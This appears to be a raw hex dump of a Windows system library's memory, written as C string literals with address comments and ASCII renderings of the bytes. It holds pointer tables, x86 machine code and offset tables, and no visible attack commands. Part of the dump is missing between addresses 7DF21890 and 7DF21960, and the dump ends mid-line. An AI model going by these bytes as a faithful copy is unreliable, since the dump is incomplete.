"\xD9\x93\xF4\x77\x9E\x75\xF4\x77\x85\x31\xF9\x77\xB5\x09\xF6\x77" // ٓôwžuôw…1ùwµ.öw /* 7DF21490 */ "\xFE\x0E\xF6\x77\x9A\x9E\xF9\x77\x60\x6A\xF4\x77\x6B\x0E\xF5\x77" // þöwšžùw`jôwkõw /* 7DF214A0 */ "\xDC\x31\xF6\x77\x3F\x6F\xF8\x77\x84\xAE\xF4\x77\x92\x80\xF8\x77" // Ü1öw?oøw„®ôw’€øw /* 7DF214B0 */ "\xE8\x7B\xF8\x77\xDB\xD3\xF5\x77\xBF\x7E\xF4\x77\x5E\x7C\xF4\x77" // è{øwÛÓõw¿~ôw^|ôw /* 7DF214C0 */ "\xD8\x2D\xF6\x77\x49\x35\xF6\x77\x41\xBA\xF5\x77\x3A\xF7\xF9\x77" // Ø-öwI5öwAºõw:÷ùw /* 7DF214D0 */ "\x8D\x3D\xF5\x77\xC8\x39\xF5\x77\x0D\x1E\xF6\x77\xC5\x2E\xF6\x77" // =õwÈ9õw.öwÅ.öw /* 7DF214E0 */ "\x14\xCE\xF6\x77\x40\xF8\xF9\x77\x1E\x1D\xF6\x77\x40\x22\xF5\x77" // Îöw@øùwöw@"õw /* 7DF214F0 */ "\x63\xB9\xF5\x77\x1C\x6D\xF4\x77\xAE\x2D\xF6\x77\xB0\x7A\xF5\x77" // c¹õwmôw®-öw°zõw /* 7DF21500 */ "\xF1\x1F\xF5\x77\x69\x67\xF4\x77\x9E\x69\xF4\x77\xF6\x92\xF4\x77" // ñõwigôwžiôwö’ôw /* 7DF21510 */ "\xE9\x29\xF6\x77\xCD\x65\xF4\x77\x26\x14\xF5\x77\x7C\xC4\xF6\x77" // é)öwÍeôw&õw|Äöw /* 7DF21520 */ "\x5E\x42\xF4\x77\xAB\x9D\xF8\x77\x94\x7E\xF9\x77\x8A\xF7\xF8\x77" // ^Bôw«øw”~ùwŠ÷øw /* 7DF21530 */ "\x91\xF5\xF5\x77\x4C\xF4\xF5\x77\x85\x19\xF6\x77\xC5\xEE\xF5\x77" // ‘õõwLôõw…öwÅîõw /* 7DF21540 */ "\xFE\xD2\xF5\x77\xF7\x24\xF6\x77\xE5\xB9\xF5\x77\x1D\x39\xF6\x77" // þÒõw÷$öwå¹õw9öw /* 7DF21550 */ "\x99\xF6\xF5\x77\x36\x70\xF4\x77\x15\xD9\xF4\x77\x65\xB8\xF5\x77" // ™öõw6pôwÙôwe¸õw /* 7DF21560 */ "\xEA\x79\xF5\x77\xC2\x1B\xF6\x77\x1F\x15\xF6\x77\x06\x11\xF5\x77" // êyõwÂöwöwõw /* 7DF21570 */ "\x1E\xC4\xF6\x77\x00\x00\x00\x00\x28\x8E\xD1\x77\xE8\x0F\xD2\x77" // Äöw....(ŽÑwèÒw /* 7DF21580 */ "\xAD\xA8\xD1\x77\x90\x0F\xD2\x77\xBA\x0F\xD2\x77\xEA\xDA\xD1\x77" // ­¨ÑwÒwºÒwêÚÑw /* 7DF21590 */ "\x85\xCB\xD1\x77\x0D\xD6\xD1\x77\xEE\xD4\xD1\x77\x9A\xF3\xD2\x77" // …ËÑw.ÖÑwîÔÑwšóÒw /* 7DF215A0 */ "\x95\x47\xD2\x77\x16\x48\xD2\x77\x50\x62\xD2\x77\x5D\x94\xD1\x77" // •GÒwHÒwPbÒw]”Ñw /* 7DF215B0 */ "\x11\x12\xD2\x77\x6C\xC9\xD1\x77\xB8\x96\xD1\x77\xF6\x8B\xD1\x77" // ÒwlÉÑw¸–Ñwö‹Ñw /* 7DF215C0 */ "\x54\xEF\xD2\x77\x89\x96\xD1\x77\xAE\x20\xD2\x77\x8C\x14\xD2\x77" // TïÒw‰–Ñw® ÒwŒÒw /* 7DF215D0 */ "\x5E\x02\xD2\x77\x68\x12\xD3\x77\x93\x15\xD2\x77\x2F\xBB\xD1\x77" // ^ÒwhÓw“Òw/»Ñw /* 7DF215E0 */ "\x36\xBC\xD1\x77\xAE\xB6\xD1\x77\x21\x90\xD1\x77\xBA\xB8\xD1\x77" // 6¼Ñw®¶Ñw!Ñwº¸Ñw /* 7DF215F0 */ "\x50\xEC\xD1\x77\x74\xED\xD2\x77\xFC\x65\xD2\x77\xCC\x65\xD2\x77" // PìÑwtíÒwüeÒwÌeÒw /* 7DF21600 */ "\xBF\xC2\xD3\x77\x60\xDA\xD1\x77\x71\xBE\xD1\x77\xD4\xB6\xD1\x77" // ¿ÂÓw`ÚÑwq¾ÑwÔ¶Ñw /* 7DF21610 */ "\xC7\x86\xD1\x77\x9D\x86\xD1\x77\x1B\xC0\xD1\x77\xA4\xD8\xD1\x77" // džÑw†ÑwÀÑw¤ØÑw /* 7DF21620 */ "\xF2\x60\xD6\x77\x81\xE5\xD2\x77\x55\xE6\xD1\x77\x3F\xAE\xD1\x77" // ò`ÖwåÒwUæÑw?®Ñw /* 7DF21630 */ "\x2E\x8C\xD1\x77\x42\x8C\xD1\x77\xEE\x00\xD3\x77\x50\x36\xD5\x77" // .ŒÑwBŒÑwî.ÓwP6Õw /* 7DF21640 */ "\x2F\xB7\xD1\x77\x4B\x15\xD3\x77\x58\xD6\xD1\x77\x1C\xB1\xD3\x77" // /·ÑwKÓwXÖÑw±Ów /* 7DF21650 */ "\x4A\xC9\xD3\x77\x00\x00\x00\x00\x50\x1A\xBD\x77\xBA\x18\xBD\x77" // JÉÓw....P½wº½w /* 7DF21660 */ "\xFF\x19\xBD\x77\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90" // ÿ½w.... /* 7DF21670 */ "\x3B\x0D\xF8\x30\xF9\x7D\x0F\x85\x42\x63\x06\x00\xF7\xC1\x00\x00" // ;.ø0ù}…Bc.÷Á.. /* 7DF21680 */ "\xFF\xFF\x0F\x85\x36\x63\x06\x00\xC3\x68\x17\xCD\xF3\x7D\x64\xA1" // ÿÿ…6c.ÃhÍó}d¡ /* 7DF21690 */ "\x00\x00\x00\x00\x50\x8B\x44\x24\x10\x89\x6C\x24\x10\x8D\x6C\x24" // ....P‹D$‰l$l$ /* 7DF216A0 */ "\x10\x2B\xE0\x53\x56\x57\x8B\x45\xF8\x89\x65\xE8\x50\x8B\x45\xFC" // +àSVW‹Eø‰eèP‹Eü /* 7DF216B0 */ "\xC7\x45\xFC\xFF\xFF\xFF\xFF\x89\x45\xF8\x8D\x45\xF0\x64\xA3\x00" // ÇEüÿÿÿÿ‰EøEðd£. /* 7DF216C0 */ "\x00\x00\x00\xC3\x8B\x4D\xF0\x64\x89\x0D\x00\x00\x00\x00\x59\x5F" // ...ËMðd‰.....Y_ /* 7DF216D0 */ "\x5E\x5B\xC9\x51\xC3\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x8B" // ^[ÉQА‹ÿU‹ì‹ /* 7DF216E0 */ "\x45\x08\x56\x8B\xF1\x50\x89\x06\xFF\x15\x4C\x12\xF2\x7D\x8B\xC6" // EV‹ñP‰ÿLò}‹Æ /* 7DF216F0 */ "\x5E\x5D\xC2\x04\x00\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x8B" // ^]Â.‹ÿU‹ì‹ /* 7DF21700 */ "\x45\x0C\x83\xF8\x01\x56\x0F\x84\xA1\x6E\x00\x00\x85\xC0\x0F\x84" // E.ƒøV„¡n..…À„ /* 7DF21710 */ "\xC5\xAD\x00\x00\x83\xF8\x02\x0F\x85\x34\x04\x00\x00\x68\x88\x00" // Å­..ƒø…4..hˆ. /* 7DF21720 */ "\x00\x00\x6A\x01\xE8\x8C\x02\x00\x00\x8B\xF0\x85\xF6\x59\x59\x0F" // ..jèŒ..‹ð…öYY /* 7DF21730 */ "\x84\xDD\xAD\x00\x00\x56\xFF\x35\xC0\x2A\xF9\x7D\xFF\x15\x1C\x12" // „Ý­..Vÿ5À*ù}ÿ /* 7DF21740 */ "\xF2\x7D\x85\xC0\x56\x0F\x84\xA0\xBF\x01\x00\xE8\x48\x02\x00\x00" // ò}…ÀV„ ¿.èH.. /* 7DF21750 */ "\x59\xFF\x15\xE8\x11\xF2\x7D\x83\x4E\x04\xFF\x89\x06\x33\xC0\x40" // Yÿèò}ƒNÿ‰3À@ /* 7DF21760 */ "\x8D\x65\xFC\x5E\x5D\xC2\x0C\x00\x90\x90\x90\x90\x90\x8B\xFF\x55" // eü^]Â..‹ÿU /* 7DF21770 */ "\x8B\xEC\x33\xC0\x40\x39\x45\x0C\x0F\x84\xF0\x4F\x00\x00\x5D\xC2" // ‹ì3À@9E.„ðO..] /* 7DF21780 */ "\x0C\x00\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x53\x8B\x5D\x08" // ..‹ÿU‹ìS‹] /* 7DF21790 */ "\x56\x8B\x75\x0C\x85\xF6\x57\x8B\x7D\x10\x0F\x84\x5C\xA8\x00\x00" // V‹u.…öW‹}„\¨.. /* 7DF217A0 */ "\x83\xFE\x01\x74\x05\x83\xFE\x02\x75\x1D\xA1\xFC\x30\xF9\x7D\x85" // ƒþtƒþu¡ü0ù}… /* 7DF217B0 */ "\xC0\x0F\x85\xDC\xBE\x01\x00\x57\x56\x53\xE8\x3B\xFF\xFF\xFF\x85" // À…ܾ.WVSè;ÿÿÿ… /* 7DF217C0 */ "\xC0\x0F\x84\xD9\xBE\x01\x00\x57\x56\x53\xE8\x2C\x00\x00\x00\x83" // À„Ù¾.WVSè,...ƒ /* 7DF217D0 */ "\xFE\x01\x89\x45\x0C\x0F\x84\xD9\x4C\x00\x00\x85\xF6\x0F\x84\x84" // þ‰E.„ÙL..…ö„„ /* 7DF217E0 */ "\x02\x00\x00\x83\xFE\x03\x0F\x84\x7B\x02\x00\x00\x8B\x45\x0C\x5F" // ..ƒþ„{..‹E._ /* 7DF217F0 */ "\x5E\x5B\x5D\xC2\x0C\x00\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC" // ^[]Â..‹ÿU‹ì /* 7DF21800 */ "\x81\xEC\x9C\x00\x00\x00\xA1\xF8\x30\xF9\x7D\x53\x8B\x5D\x08\x56" // ìœ...¡ø0ù}S‹]V /* 7DF21810 */ "\x57\x89\x45\xFC\x8B\x45\x10\x50\xFF\x75\x0C\x33\xFF\x47\x53\x89" // W‰Eü‹EPÿu.3ÿGS‰ /* 7DF21820 */ "\x85\x64\xFF\xFF\xFF\x8B\xF7\xE8\x41\xFF\xFF\xFF\x8B\x45\x0C\x85" // …dÿÿÿ‹÷èAÿÿÿ‹E.… /* 7DF21830 */ "\xC0\x0F\x84\x23\xAE\x00\x00\x3B\xC7\x0F\x84\x6E\x69\x00\x00\x76" // À„#®..;Ç„ni..v /* 7DF21840 */ "\x20\x83\xF8\x03\x77\x1B\xFF\xB5\x64\xFF\xFF\xFF\xFF\x75\x0C\x53" // ƒøwÿµdÿÿÿÿu.S /* 7DF21850 */ "\xE8\x22\x00\x00\x00\x83\x7D\x0C\x00\x8B\xF0\x0F\x84\x48\xAF\x00" // è"...ƒ}..‹ð„H¯. /* 7DF21860 */ "\x00\x8B\x4D\xFC\x5F\x8B\xC6\x5E\x5B\xE8\x02\xFE\xFF\xFF\xC9\xC2" // .‹Mü_‹Æ^[èþÿÿÉ /* 7DF21870 */ "\x0C\x00\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x8B\x45\x0C\x56" // ..‹ÿU‹ì‹E.V /* 7DF21880 */ "\x57\x33\xFF\x2B\xC7\x6A\x01\x5E\x0F\x84\x98\xAF\x00\x00\x48\x0F" // W3ÿ+Çj^„˜¯..H /* 7DF21890 */ "\x84\x3C\x4E\x00\x00\x48\x0F\x85\xA3\x02\x00\x00\x8D\x45\x0C\x50" // „t /* 7DF21960 */ "\x2B\x6A\x0B\x59\x33\xC0\xF3\xAB\x8B\x06\xC7\x40\x04\x01\x00\x00" // +j Y3Àó«‹Ç@.. /* 7DF21970 */ "\x00\xFF\x36\xFF\x35\x3C\x29\xF9\x7D\xFF\x15\x1C\x12\xF2\x7D\x85" // .ÿ6ÿ5<)ù}ÿò}… /* 7DF21980 */ "\xC0\x0F\x84\x6E\xC7\x01\x00\x33\xC0\x5F\x5E\xC3\xB8\x0E\x00\x07" // À„nÇ.3À_^ø. /* 7DF21990 */ "\x80\xEB\xF6\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x8B\x45\x08" // €ëö‹ÿU‹ì‹E /* 7DF219A0 */ "\xC7\x40\x54\x00\x31\xF9\x7D\xC7\x40\x14\x01\x00\x00\x00\x5D\xC3" // Ç@T.1ù}Ç@...]à /* 7DF219B0 */ "\x90\x90\x90\x90\x90\x6A\x10\x68\x28\x1A\xF2\x7D\xE8\xC8\xFC\xFF" // jh(ò}èÈüÿ /* 7DF219C0 */ "\xFF\x8B\x4D\x08\x85\xC9\x74\x10\x6A\xE0\x58\x33\xD2\xF7\xF1\x3B" // ÿ‹M…ÉtjàX3Ò÷ñ; /* 7DF219D0 */ "\x45\x0C\x0F\x82\x37\x5A\x02\x00\x0F\xAF\x4D\x0C\x8B\xF1\x89\x75" // E.‚7Z.¯M.‹ñ‰u /* 7DF219E0 */ "\xE0\x85\xF6\x0F\x84\x2D\x5A\x02\x00\x33\xD2\x89\x55\xE4\x83\xFE" // à…ö„-Z.3҉Uäƒþ /* 7DF219F0 */ "\xE0\x77\x22\x83\x3D\x8C\x29\xF9\x7D\x03\x0F\x84\x1C\x5A\x02\x00" // àw"ƒ=Œ)ù}„Z. /* 7DF21A00 */ "\x85\xD2\x75\x19\x56\x6A\x08\xFF\x35\xD0\x2A\xF9\x7D\xFF\x15\xE0" // …ÒuVjÿ5Ð*ù}ÿà /* 7DF21A10 */ "\x11\xF2\x7D\x8B\xD0\x85\xD2\x0F\x84\x5B\x5A\x02\x00\x8B\xC2\xE8" // ò}‹Ð…Ò„[Z.‹Âè /* 7DF21A20 */ "\xA0\xFC\xFF\xFF\xC3\x90\x90\x90\xFF\xFF\xFF\xFF\x00\x00\x00\x00" //  üÿÿАÿÿÿÿ.... /* 7DF21A30 */ "\x99\x74\xF4\x7D\x33\xC0\x33\xC9\x8B\x14\x8D\x78\x31\xF9\x7D\xD3" // ™tô}3À3ɋx1ù}Ó /* 7DF21A40 */ "\xE2\x0B\xC2\x41\x83\xF9\x13\x72\xEF\x39\x1D\xB0\x31\xF9\x7D\x0F" // â ÂAƒùrï9°1ù} /* 7DF21A50 */ "\x85\xAA\xBD\x01\x00\x50\xFF\x35\xC8\x31\xF9\x7D\xFF\x15\x1C\x12" // …ª½.Pÿ5È1ù}ÿ /* 7DF21A60 */ "\xF2\x7D\xE9\x94\xFE\xFF\xFF\x57\x56\x53\xE8\x8B\xFC\xFF\xFF\x85" // ò}é”þÿÿWVSè‹üÿÿ… /* 7DF21A70 */ "\xC0\x0F\x84\x3D\xBC\x01\x00\x83\x7D\x0C\x00\x0F\x84\x6B\xFD\xFF" // À„=¼.ƒ}..„kýÿ /* 7DF21A80 */ "\xFF\xA1\xFC\x30\xF9\x7D\x85\xC0\x0F\x84\x5E\xFD\xFF\xFF\xE9\x29" // ÿ¡ü0ù}…À„^ýÿÿé) /* 7DF21A90 */ "\xBC\x01\x00\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x56\xFF\x35" // ¼.‹ÿU‹ìVÿ5 /* 7DF21AA0 */ "\x3C\x29\xF9\x7D\xFF\x15\xDC\x11\xF2\x7D\x8B\xF0\x85\xF6\x0F\x84" // <)ù}ÿÜò}‹ð…ö„ /* 7DF21AB0 */ "\x86\x00\x00\x00\x8B\x46\x10\x83\x4E\x04\x04\x85\xC0\x0F\x85\x20" // †...‹FƒN…À… /* 7DF21AC0 */ "\x34\x01\x00\x8B\x4E\x14\x85\xC9\x0F\x85\x5F\x36\x01\x00\x8B\x46" // 4.‹N…É…_6.‹F /* 7DF21AD0 */ "\x24\x85\xC0\x57\x0F\x85\x86\x35\x01\x00\x8B\x4E\x1C\x85\xC9\x0F" // $…ÀW…†5.‹N…É /* 7DF21AE0 */ "\x85\x7A\x36\x01\x00\x8B\x4E\x18\x85\xC9\x0F\x85\x94\x35\x01\x00" // …z6.‹N…É…”5. /* 7DF21AF0 */ "\x8B\x4E\x20\x85\xC9\x0F\x85\xDA\x35\x01\x00\x8B\x46\x28\x85\xC0" // ‹N …É…Ú5.‹F(…À /* 7DF21B00 */ "\x0F\x85\x61\xC6\x01\x00\x6A\x00\xFF\x35\x3C\x29\xF9\x7D\xFF\x15" // …aÆ.j.ÿ5<)ù}ÿ /* 7DF21B10 */ "\x1C\x12\xF2\x7D\xFF\x15\xE8\x11\xF2\x7D\x8B\xF8\x57\xE8\xE4\x01" // ò}ÿèò}‹øWèä /* 7DF21B20 */ "\x00\x00\x85\xC0\x0F\x85\xC7\x34\x01\x00\x56\x6A\x00\xFF\x35\x54" // ..…À…Ç4.Vj.ÿ5T /* 7DF21B30 */ "\x29\xF9\x7D\xFF\x15\xE4\x11\xF2\x7D\x5F\x5E\x5D\xC2\x04\x00\x48" // )ù}ÿäò}_^]Â.H /* 7DF21B40 */ "\x0F\x85\x6D\xFD\xFF\xFF\x56\xE8\x4C\xFF\xFF\xFF\xE9\x62\xFD\xFF" // …mýÿÿVèLÿÿÿébýÿ /* 7DF21B50 */ "\xFF\x83\xF8\x03\x0F\x85\x03\xFC\xFF\xFF\x6A\x00\xE8\x0B\x00\x00" // ÿƒø…üÿÿj.è .. /* 7DF21B60 */ "\x00\x59\xE9\xF6\xFB\xFF\xFF\x90\x90\x90\x90\x90\x6A\x10\x68\x58" // .YéöûÿÿjhX /* 7DF21B70 */ "\x1C\xF2\x7D\xE8\x11\xFB\xFF\xFF\xA1\xC0\x2A\xF9\x7D\x83\xF8\xFF" // ò}èûÿÿ¡À*ù}ƒøÿ /* 7DF21B80 */ "\x0F\x84\xC9\x00\x00\x00\x8B\x75\x08\x33\xFF\x3B\xF7\x75\x14\x50" // „É...‹u3ÿ;÷uP /* 7DF21B90 */ "\xFF\x15\xDC\x11\xF2\x7D\x8B\xF0\x89\x75\x08\x3B\xF7\x0F\x84\x9F" // ÿÜò}‹ð‰u;÷„Ÿ /* 7DF21BA0 */ "\x00\x00\x00\x8B\x46\x24\x3B\xC7\x0F\x85\x19\x57\x02\x00\x8B\x46" // ...‹F$;Ç…W.‹F /* 7DF21BB0 */ "\x2C\x3B\xC7\x0F\x85\x1A\x57\x02\x00\x8B\x46\x34\x3B\xC7\x0F\x85" // ,;Ç…W.‹F4;Ç… /* 7DF21BC0 */ "\x1B\x57\x02\x00\x8B\x46\x3C\x3B\xC7\x0F\x85\x1C\x57\x02\x00\x8B" // W.‹F<;Ç…W.‹ /* 7DF21BD0 */ "\x46\x44\x3B\xC7\x0F\x85\x1D\x57\x02\x00\x8B\x46\x48\x3B\xC7\x0F" // FD;Ç…W.‹FH;Ç /* 7DF21BE0 */ "\x85\x1E\x57\x02\x00\x8B\x46\x54\x3D\x00\x31\xF9\x7D\x0F\x85\x1C" // …W.‹FT=.1ù}… /* 7DF21BF0 */ "\x57\x02\x00\x6A\x0D\xE8\xE3\x00\x00\x00\x59\x89\x7D\xFC\x8B\x46" // W.j.èã...Y‰}ü‹F /* 7DF21C00 */ "\x60\x89\x45\xE4\x3B\xC7\x0F\x85\x0F\x57\x02\x00\x83\x4D\xFC\xFF" // `‰Eä;Ç…W.ƒMüÿ /* 7DF21C10 */ "\xE8\x28\x01\x00\x00\x6A\x0C\xE8\xC1\x00\x00\x00\x59\xC7\x45\xFC" // è(..j.èÁ...YÇEü /* 7DF21C20 */ "\x01\x00\x00\x00\x8B\x46\x64\x89\x45\xE0\x3B\xC7\x0F\x85\x09\x57" // ...‹Fd‰Eà;Ç….W /* 7DF21C30 */ "\x02\x00\x83\x4D\xFC\xFF\xE8\x10\x01\x00\x00\x56\xE8\x34\x00\x00" // .ƒMüÿè..Vè4.. /* 7DF21C40 */ "\x00\x59\x57\xFF\x35\xC0\x2A\xF9\x7D\xFF\x15\x1C\x12\xF2\x7D\xE8" // .YWÿ5À*ù}ÿò}è /* 7DF21C50 */ "\x70\xFA\xFF\xFF\xC3\x90\x90\x90\xFF\xFF\xFF\xFF\x00\x00\x00\x00" // púÿÿАÿÿÿÿ.... /* 7DF21C60 */ "\x9E\x73\xF4\x7D\xFF\xFF\xFF\xFF\x00\x00\x00\x00\xAD\x73\xF4\x7D" // žsô}ÿÿÿÿ....­sô} /* 7DF21C70 */ "\x90\x90\x90\x90\x90\x6A\x0C\x68\xB0\x1C\xF2\x7D\xE8\x08\xFA\xFF" // j.h°ò}èúÿ /* 7DF21C80 */ "\xFF\x8B\x75\x08\x85\xF6\x74\x1C\x83\x3D\x8C\x29\xF9\x7D\x03\x0F" // ÿ‹u…ötƒ=Œ)ù} /* 7DF21C90 */ "\x84\x2E\x57\x02\x00\x56\x6A\x00\xFF\x35\xD0\x2A\xF9\x7D\xFF\x15" // „.W.Vj.ÿ5Ð*ù}ÿ /* 7DF21CA0 */ "\xE4\x11\xF2\x7D\xE8\x1B\xFA\xFF\xFF\xC3\x90\x90\x90\x90\x90\x90" // äò}èúÿÿА /* 7DF21CB0 */ "\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x06\x74\xF4\x7D\x90\x90\x90\x90" // ÿÿÿÿ....tô} /* 7DF21CC0 */ "\x90\x8B\xFF\x55\x8B\xEC\x8B\x45\x08\xFF\x34\xC5\xE8\x31\xF9\x7D" // ‹ÿU‹ì‹Eÿ4Åè1ù} /* 7DF21CD0 */ "\xFF\x15\x48\x12\xF2\x7D\x5D\xC3\x90\x90\x90\x90\x90\x8B\xFF\x55" // ÿHò}]А‹ÿU /* 7DF21CE0 */ "\x8B\xEC\x8B\x45\x08\x56\x8D\x34\xC5\xE8\x31\xF9\x7D\x83\x3E\x00" // ‹ì‹EV4Åè1ù}ƒ>. /* 7DF21CF0 */ "\x0F\x84\xB9\x5B\x02\x00\xFF\x36\xFF\x15\x4C\x12\xF2\x7D\x5E\x5D" // „¹[.ÿ6ÿLò}^] /* 7DF21D00 */ "\xC3\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x51\x56\x68\xCC\x31" // А‹ÿU‹ìQVhÌ1 /* 7DF21D10 */ "\xF9\x7D\x8D\x4D\xFC\xE8\xC0\xF9\xFF\xFF\x8B\x35\x5C\x29\xF9\x7D" // ù}MüèÀùÿÿ‹5\)ù} /* 7DF21D20 */ "\x85\xF6\x0F\x85\x50\xAE\x00\x00\xFF\x75\xFC\xFF\x15\x48\x12\xF2" // …ö…P®..ÿuüÿHò /* 7DF21D30 */ "\x7D\x8B\xC6\x5E\xC9\xC2\x04\x00\x90\x90\x90\x90\x90\x6A\x0D\xE8" // }‹Æ^ÉÂ.j.è /* 7DF21D40 */ "\x7D\xFF\xFF\xFF\x59\xC3\x90\x90\x90\x90\x90\x6A\x0C\xE8\x6F\xFF" // }ÿÿÿYАj.èoÿ /* 7DF21D50 */ "\xFF\xFF\x59\xC3\x00\x00\x00\x00\x12\x7E\xB8\x45\x00\x00\x00\x00" // ÿÿYÃ....~¸E.... /* 7DF21D60 */ "\xDC\x20\x00\x00\x64\x00\x00\x00\x57\x00\x00\x00\x56\x00\x00\x00" // Ü ..d...W...V... /* 7DF21D70 */ "\x7C\x1D\x00\x00\xD8\x1E\x00\x00\x30\x20\x00\x00\xF1\xEB\x05\x00" // |..Ø..0 ..ñë. /* 7DF21D80 */ "\x95\xDF\x03\x00\x19\xDA\x03\x00\xCF\xC9\x02\x00\xA5\xE4\x03\x00" // •ß.Ú.ÏÉ.¥ä. /* 7DF21D90 */ "\xD0\xE4\x03\x00\xF3\xDB\x03\x00\x47\xC7\x03\x00\x59\x64\x01\x00" // Ðä.óÛ.GÇ.Yd. /* 7DF21DA0 */ "\x3F\xE8\x02\x00\xE7\x30\x00\x00\xE7\x9B\x00\x00\xEF\xDF\x05\x00" // ?è.ç0..ç›..ïß. /* 7DF21DB0 */ "\x4C\x4F\x05\x00\x5E\x45\x00\x00\x90\xCB\x00\x00\xC0\x27\x00\x00" // LO.^E..Ë..À'.. /* 7DF21DC0 */ "\x5E\xBB\x00\x00\x8F\xF4\x02\x00\xAC\xCE\x00\x00\xEF\x5D\x01\x00" // ^»..ô.¬Î..ï]. /* 7DF21DD0 */ "\xED\xF5\x02\x00\xD0\x3B\x03\x00\xB3\x6B\x01\x00\xE4\x07\x01\x00" // íõ.Ð;.³k.ä. /* 7DF21DE0 */ "\xA7\x08\x01\x00\x24\x9C\x01\x00\x58\x5D\x01\x00\x53\x83\x01\x00" // §.$œ.X].Sƒ. /* 7DF21DF0 */ "\x81\xD3\x00\x00\x9F\xD3\x00\x00\xEC\x2E\x00\x00\x42\x60\x00\x00" // Ó..ŸÓ..ì...B`.. /* 7DF21E00 */ "\x5C\xCE\x02\x00\x45\xCB\x02\x00\x51\xCE\x02\x00\xDD\xCC\x02\x00" // \Î.EË.QÎ.ÝÌ. /* 7DF21E10 */ "\xC5\xEA\x03\x00\x48\x76\x01\x00\xEB\x2A\x01\x00\xD9\x82\x01\x00" // Åê.Hv.ë*.ق. /* 7DF21E20 */ "\x10\xE8\x02\x00\xD3\xEE\x02\x00\xFD\x69\x03\x00\xDF\xF2\x03\x00" // è.Óî.ýi.ßò. /* 7DF21E30 */ "\xDD\xF3\x05\x00\x4A\x3A\x04\x00\x7C\x92\x05\x00\xFA\x92\x05\x00" // Ýó.J:.|’.ú’. /* 7DF21E40 */ "\x99\x9B\x05\x00\x1D\x9C\x05\x00\x41\x96\x05\x00\xBA\x9B\x05\x00" // ™›.œ.A–.º›. /* 7DF21E50 */ "\x6E\xCF\x02\x00\x24\x53\x01\x00\x69\xF2\x03\x00\x42\xB4\x05\x00" // nÏ.$S.iò.B´. /* 7DF21E60 */ "\x63\xB5\x05\x00\x0A\x96\x01\x00\x34\xC8\x02\x00\x2E\x40\x03\x00" // cµ..–.4È..@. /* 7DF21E70 */ "\x11\xDB\x03\x00\x6F\x5B\x01\x00\xE6\x5B\x01\x00\x72\xC7\x02\x00" // Û.o[.æ[.rÇ. /* 7DF21E80 */ "\x1A\xC7\x02\x00\xB7\xD7\x00\x00\x5E\x5A\x01\x00\x0F\xC8\x02\x00" // Ç.·×..^Z.È. /* 7DF21E90 */ "\xAE\x3A\x04\x00\xDD\xF0\x02\x00\xC1\xB1\x05\x00\xA4\xAD\x05\x00" // ®:.Ýð.Á±.¤­. /* 7DF21EA0 */ "\xBB\xB0\x05\x00\x3E\xAD\x05\x00\x6E\xE6\x02\x00\x05\xB3\x05\x00" // »°.>­.næ.³. /* 7DF21EB0 */ "\x4D\xAF\x05\x00\x24\xB0\x05\x00\xF4\xAC\x05\x00\xAB\xB3\x05\x00" // M¯.$°.ô¬.«³. /* 7DF21EC0 */ "\xDA\xAF\x05\x00\x6C\xCE\x02\x00\xA9\x49\x01\x00\xEF\xE4\x02\x00" // Ú¯.lÎ.©I.ïä. /* 7DF21ED0 */ "\xAA\xB4\x05\x00\x8C\xF3\x05\x00\xE7\x20\x00\x00\xF9\x20\x00\x00" // ª´.Œó.ç ..ù .. /* 7DF21EE0 */ "\x16\x21\x00\x00\x27\x21\x00\x00\x3B\x21\x00\x00\x4F\x21\x00\x00" // !..'!..;!..O!.. /* 7DF21EF0 */ "\x67\x21\x00\x00\x71\x21\x00\x00\x86\x21\x00\x00\x9B\x21\x00\x00" // g!..q!..†!..›!.. /* 7DF21F00 */ "\xBB\x21\x00\x00\xD7\x21\x00\x00\xF8\x21\x00\x00\x13\x22\x00\x00" // »!..×!..ø!..".. /* 7DF21F10 */ "\x2C\x22\x00\x00\x41\x22\x00\x00\x5C\x22\x00\x00\x7D\x22\x00\x00" // ,"..A"..\"..}".. /* 7DF21F20 */ "\xA5\x22\x00\x00\xB8\x22\x00\x00\xCC\x22\x00\x00\xE8\x22\x00\x00" // ¥"..¸"..Ì"..è".. /* 7DF21F30 */ "\xFB\x22\x00\x00\x10\x23\x00\x00\x1D\x23\x00\x00\x2B\x23\x00\x00" // û"..#..#..+#.. /* 7DF21F40 */ "\x3E\x23\x00\x00\x53\x23\x00\x00\x6A\x23\x00\x00\x7B\x23\x00\x00" // >#..S#..j#..{#.. /* 7DF21F50 */ "\x8E\x23\x00\x00\x9E\x23\x00\x00\xB0\x23\x00\x00\xBB\x23\x00\x00" // Ž#..ž#..°#..»#.. /* 7DF21F60 */ "\xCD\x23\x00\x00\xE1\x23\x00\x00\xF5\x23\x00\x00\xFD\x23\x00\x00" // Í#..á#..õ#..ý#.. /* 7DF21F70 */ "\x0E\x24\x00\x00\x1C\x24\x00\x00\x2F\x24\x00\x00\x40\x24\x00\x00" // $..$../$..@$.. /* 7DF21F80 */ "\x53\x24\x00\x00\x5F\x24\x00\x00\x79\x24\x00\x00\x89\x24\x00\x00" // S$.._$..y$..‰$.. /* 7DF21F90 */ "\x9F\x24\x00\x00\xAB\x24\x00\x00\xBA\x24\x00\x00\xCF\x24\x00\x00" // Ÿ$..«$..º$..Ï$.. /* 7DF21FA0 */ "\xE3\x24\x00\x00\x00\x25\x00\x00\x1C\x25\x00\x00\x29\x25\x00\x00" // ã$...%..%..)%.. /* 7DF21FB0 */ "\x38\x25\x00\x00\x48\x25\x00\x00\x5A\x25\x00\x00\x6C\x25\x00\x00" // 8%..H%..Z%..l%.. /* 7DF21FC0 */ "\x77\x25\x00\x00\x8C\x25\x00\x00\xA2\x25\x00\x00\xB3\x25\x00\x00" // w%..Œ%..¢%..³%.. /* 7DF21FD0 */ "\xCE\x25\x00\x00\xE7\x25\x00\x00\xFE\x25\x00\x00\x11\x26\x00\x00" // Î%..ç%..þ%..&.. /* 7DF21FE0 */ "\x21\x26\x00\x00\x3A\x26\x00\x00\x51\x26\x00\x00\x75\x26\x00\x00" // !&..:&..Q&..u&.. /* 7DF21FF0 